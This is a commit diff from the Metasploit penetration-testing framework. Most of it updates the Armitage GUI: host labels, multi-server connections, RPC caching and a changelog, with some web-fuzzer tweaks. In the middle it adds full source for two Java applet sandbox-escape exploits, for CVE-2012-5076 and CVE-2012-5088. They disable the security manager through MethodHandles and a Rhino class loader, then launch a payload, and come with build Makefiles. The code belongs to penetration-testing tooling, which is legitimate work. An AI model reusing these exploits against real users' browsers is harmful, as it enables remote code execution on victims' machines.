services.id = creds.service_id AND hosts.id = services.host_id AND hosts.workspace_id = " + workspaceid); @@ -209,13 +310,13 @@ protected Map build() { if (hFilter.indexOf("sessions.") >= 0) tables.add("sessions"); - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); } else { - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); } - temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); + temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid); temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces"); temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid); @@ -235,7 +336,7 @@ public Object execute(String methodName, Object[] params) throws IOException { result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxservices)); } else if (methodName.equals("db.hosts")) { - result.put(methodName.substring(3), filterByRoute(executeQuery(query), maxhosts)); + result.put(methodName.substring(3), addLabels(filterByRoute(executeQuery(query), maxhosts))); } else { result.put(methodName.substring(3), executeQuery(query)); @@ -311,6 +412,10 @@ else if (methodName.equals("db.clear_cache")) { return new HashMap(); } else if (methodName.equals("db.clear")) { + /* clear our local cache of labels */ + labels = new HashMap(); + + /* clear the database */ executeUpdate( "BEGIN;" + "DELETE FROM hosts;" + @@ -332,6 +437,7 @@ else if (methodName.equals("db.filter")) { rFilter = null; oFilter = null; + lFilter = null; List hosts = new LinkedList(); List srvcs = new LinkedList(); @@ -385,6 +491,11 @@ else if (methodName.equals("db.filter")) { oFilter = (values.get("os") + "").toLowerCase().split(",\\s*"); } + /* label filter */ + if (values.containsKey("labels") && (values.get("labels") + "").length() > 0) { + lFilter = (values.get("labels") + "").toLowerCase().split(",\\s*"); + } + if (hosts.size() == 0) { hFilter = null; } @@ -406,6 +517,31 @@ else if (methodName.equals("db.fix_creds")) { result.put("rows", new Integer(stmt.executeUpdate())); return result; } + else if (methodName.equals("db.report_labels")) { + /* merge out global label data */ + Map values = (Map)params[0]; + mergeLabels(values); + + /* delete our saved label data */ + executeUpdate("DELETE FROM notes WHERE notes.ntype = 'armitage.labels'"); + + /* serialize our notes data */ + ByteArrayOutputStream store = new ByteArrayOutputStream(labels.size() * 128); + ObjectOutputStream handle = new ObjectOutputStream(store); + handle.writeObject(labels); + handle.close(); + store.close(); + + String data = Base64.encode(store.toByteArray()); + + /* save our label data */ + PreparedStatement stmt = null; + stmt = db.prepareStatement("INSERT INTO notes (ntype, data) VALUES ('armitage.labels', ?)"); + stmt.setString(1, data); + stmt.executeUpdate(); + + return new HashMap(); + } else if (methodName.equals("db.report_host")) { Map values = (Map)params[0]; String host = values.get("host") + ""; diff --git a/external/source/armitage/src/msf/RpcAsync.java b/external/source/armitage/src/msf/RpcAsync.java index c7663ddbcd66..fe0daf7a4e1f 100644 --- a/external/source/armitage/src/msf/RpcAsync.java +++ b/external/source/armitage/src/msf/RpcAsync.java @@ -32,7 +32,7 @@ public Object execute(String methodName, Object[] params) throws IOException { if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) { StringBuilder keysb = new StringBuilder(methodName); - for(int i = 1; i < params.length; i++) + for(int i = 0; i < params.length; i++) keysb.append(params[i].toString()); String key = keysb.toString(); diff --git a/external/source/armitage/src/msf/RpcCacheImpl.java b/external/source/armitage/src/msf/RpcCacheImpl.java index c28e037e91b2..4a1d7e85cb3f 100644 --- a/external/source/armitage/src/msf/RpcCacheImpl.java +++ b/external/source/armitage/src/msf/RpcCacheImpl.java @@ -106,6 +106,8 @@ private static String cacheKey(String method, Object[] args) { key.append(temp.get("ports")); key.append(";"); key.append(temp.get("session")); + key.append(";"); + key.append(temp.get("labels")); return key.toString(); } diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index f7ba43d048db..d784ab17b781 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -84,12 +84,40 @@ public Object execute(String methodName) throws IOException { } protected HashMap locks = new HashMap(); + protected String address = ""; + + public String getLocalAddress() { + return address; + } /** Adds token, runs command, and notifies logger on call and return */ public Object execute(String methodName, Object[] params) throws IOException { if (database != null && "db.".equals(methodName.substring(0, 3))) { return database.execute(methodName, params); } + else if (methodName.equals("armitage.ping")) { + try { + long time = System.currentTimeMillis() - Long.parseLong(params[0] + ""); + + HashMap res = new HashMap(); + res.put("result", time + ""); + return res; + } + catch (Exception ex) { + HashMap res = new HashMap(); + res.put("result", "0"); + return res; + } + } + else if (methodName.equals("armitage.my_ip")) { + HashMap res = new HashMap(); + res.put("result", address); + return res; + } + else if (methodName.equals("armitage.set_ip")) { + address = params[0] + ""; + return new HashMap(); + } else if (methodName.equals("armitage.lock")) { if (locks.containsKey(params[0] + "")) { Map res = new HashMap(); diff --git a/external/source/armitage/src/msf/RpcQueue.java b/external/source/armitage/src/msf/RpcQueue.java index ba657c26716b..b56d2a2135a1 100644 --- a/external/source/armitage/src/msf/RpcQueue.java +++ b/external/source/armitage/src/msf/RpcQueue.java @@ -66,7 +66,7 @@ public void run() { Thread.sleep(50); } else { - Thread.sleep(500); + Thread.sleep(200); } } } diff --git a/external/source/armitage/src/table/NetworkTable.java b/external/source/armitage/src/table/NetworkTable.java index 014fed3a101e..c89bd97dbb87 100644 --- a/external/source/armitage/src/table/NetworkTable.java +++ b/external/source/armitage/src/table/NetworkTable.java @@ -1,11 +1,11 @@ package table; -import javax.swing.*; -import javax.swing.event.*; +import javax.swing.*; +import javax.swing.event.*; import javax.swing.border.*; import javax.swing.table.*; -import java.awt.*; +import java.awt.*; import java.awt.event.*; import java.awt.image.*; @@ -52,7 +52,7 @@ public NetworkTable() { public NetworkTable(Properties display) { this.display = display; - model = new GenericTableModel(new String[] { " ", "Address", "Description", "Pivot" }, "Address", 256); + model = new GenericTableModel(new String[] { " ", "Address", "Label", "Description", "Pivot" }, "Address", 256); table = new ATable(model); TableRowSorter sorter = new TableRowSorter(model); sorter.toggleSortOrder(1); @@ -79,23 +79,24 @@ public boolean equals(Object a, Object b) { }; sorter.setComparator(1, hostCompare); - sorter.setComparator(3, hostCompare); + sorter.setComparator(4, hostCompare); table.setRowSorter(sorter); table.setColumnSelectionAllowed(false); table.getColumn("Address").setPreferredWidth(125); + table.getColumn("Label").setPreferredWidth(125); table.getColumn("Pivot").setPreferredWidth(125); table.getColumn(" ").setPreferredWidth(32); table.getColumn(" ").setMaxWidth(32); table.getColumn("Description").setPreferredWidth(500); final TableCellRenderer parent = table.getDefaultRenderer(Object.class); - table.setDefaultRenderer(Object.class, new TableCellRenderer() { + final TableCellRenderer phear = new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col); - if (col == 3 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) { + if (col == 4 && Boolean.TRUE.equals(model.getValueAt(table, row, "Active"))) { component.setFont(component.getFont().deriveFont(Font.BOLD)); } else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) { @@ -110,9 +111,15 @@ else if (col == 1 && !"".equals(model.getValueAt(table, row, "Description"))) { if (tip.length() > 0) { component.setToolTipText(tip); } + return component; } - }); + }; + + table.getColumn("Address").setCellRenderer(phear); + table.getColumn("Label").setCellRenderer(phear); + table.getColumn("Description").setCellRenderer(phear); + table.getColumn("Pivot").setCellRenderer(phear); table.getColumn(" ").setCellRenderer(new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { @@ -252,16 +259,17 @@ public void setAutoLayout(String layout) { public void addActionForKeySetting(String key, String dvalue, Action action) { } - public Object addNode(String id, String label, Image image, String tooltip) { + public Object addNode(String id, String label, String description, Image image, String tooltip) { if (id == null || label == null) return null; HashMap map = new HashMap(); map.put("Address", id); - if (label.indexOf(id) > -1) - label = label.substring(id.length()); - map.put("Description", label); + if (description.indexOf(id) > -1) + description = description.substring(id.length()); + map.put("Label", label); + map.put("Description", description); map.put("Tooltip", tooltip); map.put("Image", image); map.put(" ", tooltip); diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index bc1569659cb7..ce80216dbd8d 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -26,6 +26,12 @@ public static TableCellRenderer getDefaultTableRenderer(final JTable table, fina specialitems.add("WORDLIST"); specialitems.add("SESSION"); specialitems.add("REXE"); + specialitems.add("EXE::Custom"); + specialitems.add("EXE::Template"); + specialitems.add("USERNAME"); + specialitems.add("PASSWORD"); + specialitems.add("SMBUser"); + specialitems.add("SMBPass"); return new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { diff --git a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java new file mode 100644 index 000000000000..96bea014f1d7 --- /dev/null +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -0,0 +1,238 @@ +package ui; + +import javax.swing.*; +import javax.swing.event.*; + +import java.awt.*; +import java.awt.event.*; + +import java.util.*; + +import armitage.ArmitageApplication; +import msf.*; + +/* A class to host multiple Armitage instances in one frame. Srsly */ +public class MultiFrame extends JFrame implements KeyEventDispatcher { + protected JToolBar toolbar; + protected JPanel content; + protected CardLayout cards; + protected LinkedList buttons; + + private static class ArmitageInstance { + public ArmitageApplication app; + public JToggleButton button; + public RpcConnection client; + } + + public Map getClients() { + synchronized (buttons) { + Map r = new HashMap(); + + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + r.put(temp.button.getText(), temp.client); + } + return r; + } + } + + public void setTitle(ArmitageApplication app, String title) { + if (active == app) + setTitle(title); + } + + protected ArmitageApplication active; + + /* is localhost running? */ + public boolean checkLocal() { + synchronized (buttons) { + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if ("localhost".equals(temp.button.getText())) { + return true; + } + } + return false; + } + } + + public boolean dispatchKeyEvent(KeyEvent ev) { + if (active != null) { + return active.getBindings().dispatchKeyEvent(ev); + } + return false; + } + + public static final void setupLookAndFeel() { + try { + for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } + catch (Exception e) { + } + } + + public void closeConnect() { + synchronized (buttons) { + if (buttons.size() == 0) { + System.exit(0); + } + } + } + + public void quit() { + synchronized (buttons) { + ArmitageInstance temp = null; + content.remove(active); + Iterator i = buttons.iterator(); + while (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + if (temp.app == active) { + toolbar.remove(temp.button); + i.remove(); + break; + } + } + + if (buttons.size() == 0) { + System.exit(0); + } + else if (buttons.size() == 1) { + remove(toolbar); + validate(); + } + + if (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + } + else { + temp = (ArmitageInstance)buttons.getFirst(); + } + + set(temp.button); + } + } + + public MultiFrame() { + super(""); + + setLayout(new BorderLayout()); + + /* setup our toolbar */ + toolbar = new JToolBar(); + + /* content area */ + content = new JPanel(); + cards = new CardLayout(); + content.setLayout(cards); + + /* setup our stuff */ + add(content, BorderLayout.CENTER); + + /* buttons?!? :) */ + buttons = new LinkedList(); + + /* do this ... */ + setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + + /* some basic setup */ + setSize(800, 600); + setExtendedState(JFrame.MAXIMIZED_BOTH); + + /* all your keyboard shortcuts are belong to me */ + KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this); + } + + protected void set(JToggleButton button) { + synchronized (buttons) { + /* set all buttons to the right state */ + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if (temp.button.getText().equals(button.getText())) { + temp.button.setSelected(true); + active = temp.app; + setTitle(active.getTitle()); + } + else { + temp.button.setSelected(false); + } + } + + /* show our cards? */ + cards.show(content, button.getText()); + active.touch(); + } + } + + public void addButton(String title, final ArmitageApplication component, RpcConnection conn) { + synchronized (buttons) { + final ArmitageInstance a = new ArmitageInstance(); + a.button = new JToggleButton(title); + a.button.setToolTipText(title); + a.app = component; + a.client = conn; + + a.button.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + set((JToggleButton)ev.getSource()); + } + }); + + a.button.addMouseListener(new MouseAdapter() { + public void check(MouseEvent ev) { + if (ev.isPopupTrigger()) { + final JToggleButton source = a.button; + JPopupMenu popup = new JPopupMenu(); + JMenuItem rename = new JMenuItem("Rename"); + rename.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + String name = JOptionPane.showInputDialog("Rename to?", source.getText()); + if (name != null) { + content.remove(component); + content.add(component, name); + source.setText(name); + set(source); + } + } + }); + popup.add(rename); + popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY()); + ev.consume(); + } + } + + public void mouseClicked(MouseEvent ev) { + check(ev); + } + + public void mousePressed(MouseEvent ev) { + check(ev); + } + + public void mouseReleased(MouseEvent ev) { + check(ev); + } + }); + + toolbar.add(a.button); + content.add(component, title); + buttons.add(a); + set(a.button); + + if (buttons.size() == 1) { + show(); + } + else if (buttons.size() == 2) { + add(toolbar, BorderLayout.SOUTH); + } + validate(); + } + } +} diff --git a/external/source/armitage/src/ui/ZoomableImage.java b/external/source/armitage/src/ui/ZoomableImage.java index 346438e15e2f..466f2c56d397 100644 --- a/external/source/armitage/src/ui/ZoomableImage.java +++ b/external/source/armitage/src/ui/ZoomableImage.java @@ -54,6 +54,8 @@ public void mouseReleased(MouseEvent ev) { check(ev); } }); + + setHorizontalAlignment(SwingConstants.CENTER); } protected void updateIcon() { diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index 5ea39884dd68..55804871ffbd 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,55 @@ Armitage Changelog ================== +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption in team server mode. This bug could + lead to some exploits defaulting to a shell payload when meterpreter + was a possibility. +- Slight optimization to some DB queries. I no longer pull unused + fields making the query marginally faster. Team server is more + efficient too as changes to unused fields won't force data (re)sync. +- Hosts -> Clear Database now clears host labels too. +- Added the ability to manage multiple team server instances through + Armitage. Go to Armitage -> New Connection to connect to another + server. A button bar will appear that allows you to switch active + Armitage connections. + - Credentials available across instances are pooled when using + the [host] -> Login menu and the credential helper. +- Rewrote the event log management code in the team server +- Added nickname tab completion to event log. I feel like I'm writing + an IRC client again. +- Hosts -> Clear Database now asks you to confirm the action. +- Hosts -> Import Hosts announces successful import to event log again. + +23 Jan 13 (tested against msf 16351) +--------- +- Added helpers to set EXE::Custom and EXE::Template options. +- Fixed a bug displaying a Windows 8 icon for Windows 2008 hosts +- Cleaned up Armitage -> SOCKS Proxy job management code. The code to + check if a proxy server is up was deadlock prone. Removed it. +- Starting SOCKS Proxy module now opens a tab displaying the module + start process. An event is posted to the event log too. +- Created an option helper to select credentials for SMBUser, SMBPass, + USERNAME, and PASSWORD. +- Added a feature to label hosts. A label will show up in its own column + in table view or below all info in graph view. Any team member may + change a label through [host] -> host -> Set Label. You may also use + dynamic workspaces to show hosts with certain labels attached. +- Fixed bad things happening when connecting Armitage to 'localhost' and + not '127.0.0.1'. +- Screenshots and Webcam shots are now centered in their tab. +- Added an alternate .bat file to start msfrpcd on Windows in the + Metasploit 4.5 installer's environment. +- Added a color-style for [!] warning messages + +Cortana Updates (for scripters) +-------- +- &handler function now works as advertised. +- Cortana now avoids use of core.setg + 4 Jan 13 (tested against msf 16252) -------- - Added a helper to set REXE option diff --git a/external/source/exploits/cve-2012-5076_2/B.java b/external/source/exploits/cve-2012-5076_2/B.java new file mode 100755 index 000000000000..fec276706019 --- /dev/null +++ b/external/source/exploits/cve-2012-5076_2/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2012-5076_2/Exploit.java b/external/source/exploits/cve-2012-5076_2/Exploit.java new file mode 100755 index 000000000000..78292012fb3a --- /dev/null +++ b/external/source/exploits/cve-2012-5076_2/Exploit.java @@ -0,0 +1,78 @@ +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import metasploit.Payload; +//import java.lang.Runtime; +import java.applet.Applet; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.invoke.MethodType; +import java.lang.reflect.Method; +import com.sun.org.glassfish.external.statistics.impl.*; + +public class Exploit extends Applet +{ + public static MethodHandles.Lookup test0; + + public Exploit() + { + } + + + public void init() + { + try + { + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[8192]; + int length; + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + bos.write( buffer, 0, length ); + // convert it to a simple byte array + buffer = bos.toByteArray(); + + Class c = Class.forName("java.lang.invoke.MethodHandles"); + Method m = c.getMethod("lookup", new Class[0]); + AverageRangeStatisticImpl Avrg = new AverageRangeStatisticImpl(0,0,0,"","","",0,0); + MethodHandles.Lookup test = (MethodHandles.Lookup)Avrg.invoke(null, m, new Object[0]); + + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); + MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); + + // Instance of sun.org.mozilla.javascript.internal.Context + MethodType localMethodType1 = MethodType.methodType(Void.TYPE); + MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1); + Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]); + + // Context.createClassLoader + MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class); + MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2); + Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null }); + + // GeneratedClassLoader.defineClass + MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); + MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3); + Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer }); + + //New instance of the helper Class + localClass3.newInstance(); + + Payload.main(null); + //Runtime.getRuntime().exec("calc.exe"); + } + catch(Throwable ex) + { + //ex.printStackTrace(); + } + } + +} diff --git a/external/source/exploits/cve-2012-5076_2/Makefile b/external/source/exploits/cve-2012-5076_2/Makefile new file mode 100755 index 000000000000..1a84229b80a7 --- /dev/null +++ b/external/source/exploits/cve-2012-5076_2/Makefile @@ -0,0 +1,18 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2012-5076_2/ + mv B.class ../../../../data/exploits/cve-2012-5076_2/ + +clean: + rm -rf *.class diff --git a/external/source/exploits/cve-2012-5088/B.java b/external/source/exploits/cve-2012-5088/B.java new file mode 100755 index 000000000000..fec276706019 --- /dev/null +++ b/external/source/exploits/cve-2012-5088/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2012-5088/Exploit.java b/external/source/exploits/cve-2012-5088/Exploit.java new file mode 100755 index 000000000000..4ad3005ad9bf --- /dev/null +++ b/external/source/exploits/cve-2012-5088/Exploit.java @@ -0,0 +1,66 @@ +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import metasploit.Payload; +//import java.lang.Runtime; +import java.applet.Applet; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles; +import java.lang.invoke.MethodType; +import java.lang.reflect.Method; + +public class Exploit extends Applet +{ + + public Exploit() + { + } + + public void init() + { + try + { + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + byte[] buffer = new byte[8192]; + int length; + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + bos.write( buffer, 0, length ); + // convert it to a simple byte array + buffer = bos.toByteArray(); + + MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); + MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); + MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0); + Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); + Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); + MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); + MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); + MethodType localMethodType2 = MethodType.methodType(Void.TYPE); + MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); + Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); + MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); + MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); + MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); + MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); + Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); + MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); + MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); + Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer }); + localClass3.newInstance(); + Payload.main(null); + //Runtime.getRuntime().exec("calc.exe"); + } + catch(Throwable ex) + { + //ex.printStackTrace(); + } + } + +} diff --git a/external/source/exploits/cve-2012-5088/Makefile b/external/source/exploits/cve-2012-5088/Makefile new file mode 100755 index 000000000000..226cdcd65c90 --- /dev/null +++ b/external/source/exploits/cve-2012-5088/Makefile @@ -0,0 +1,16 @@ +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2012-5088/ + mv B.class ../../../../data/exploits/cve-2012-5088/ + +clean: + rm -rf *.class diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java index b1b7d2c2ac0f..8b754c1871e3 100644 --- a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -260,7 +260,8 @@ protected RpcConnection doInBackground() throws Exception { // Don't fork cause we'll check if it dies String rpcType = "Basic"; java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{ - "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"})); + "msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1", + "-p",Integer.toString(defaultPort)})); if(!defaultSsl) args.add("-S"); if(disableDb) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index b91b7536f12d..48428b720c40 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -250,7 +250,9 @@ def process_vulnerability( element, proof, opts = {} ) if !(payload = opts[:payload]) if payloads - payload = payloads.select{ |p| element.altered_value.include?( p ) }.first + payload = payloads.select { |p| + element.altered_value.include?( p ) + }.sort_by { |p| p.size }.last end end diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 7ba764ed5c17..0d53c1236bc9 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -101,7 +101,7 @@ def differential_analysis( opts = {}, &block ) # save the response and some data for analysis responses[:good][elem.altered] << { 'res' => res, - 'elem' => elem + 'elem' => elem.dup } end end @@ -122,8 +122,7 @@ def differential_analysis( opts = {}, &block ) http.if_not_custom_404( action, res['res'].body ) do # if this isn't a custom 404 page then it means that # the element is vulnerable, so go ahead and log the issue - fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.', - :payload => res['elem'].altered_value ) + fuzzer.process_vulnerability( res['elem'], 'Boolean manipulation.' ) end end end diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index 9d6b3e564745..32608cf07745 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -54,7 +54,8 @@ def timeout_analysis( opts = {} ) timeout = opts[:delay] seed = p.altered_value.dup - payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first + payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }. + sort_by { |p2| p2.size }.last # 1st pass, make sure the webapp is responsive if_responsive do diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index a26111355676..a7c8fc86e38c 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -120,10 +120,15 @@ def run tl = [] loop do - # Spawn threads for each host while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop) tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request| - request.handle_response request( request.url, request.opts ) + # Keep callback failures isolated. + begin + request.handle_response request( request.url, request.opts ) + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } + end end end @@ -261,10 +266,12 @@ def queue( request ) end def _request( url, opts = {} ) - body = opts[:body] + body = opts[:body] timeout = opts[:timeout] || 10 - method = opts[:method].to_s.upcase || 'GET' - url = url.is_a?( URI ) ? url : URI( url.to_s ) + method = opts[:method].to_s.upcase || 'GET' + url = url.is_a?( URI ) ? url : URI( url.to_s ) + + rex_overrides = opts.delete( :rex ) || {} param_opts = {} @@ -280,10 +287,11 @@ def _request( url, opts = {} ) end opts = @request_opts.merge( param_opts ).merge( - 'uri' => url.path || '/', - 'method' => method, + 'uri' => url.path || '/', + 'method' => method, 'headers' => headers.merge( opts[:headers] || {} ) - ) + # Allow for direct rex overrides + ).merge( rex_overrides ) opts['data'] = body if body @@ -291,7 +299,12 @@ def _request( url, opts = {} ) Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out - rescue ::Errno::EPIPE, 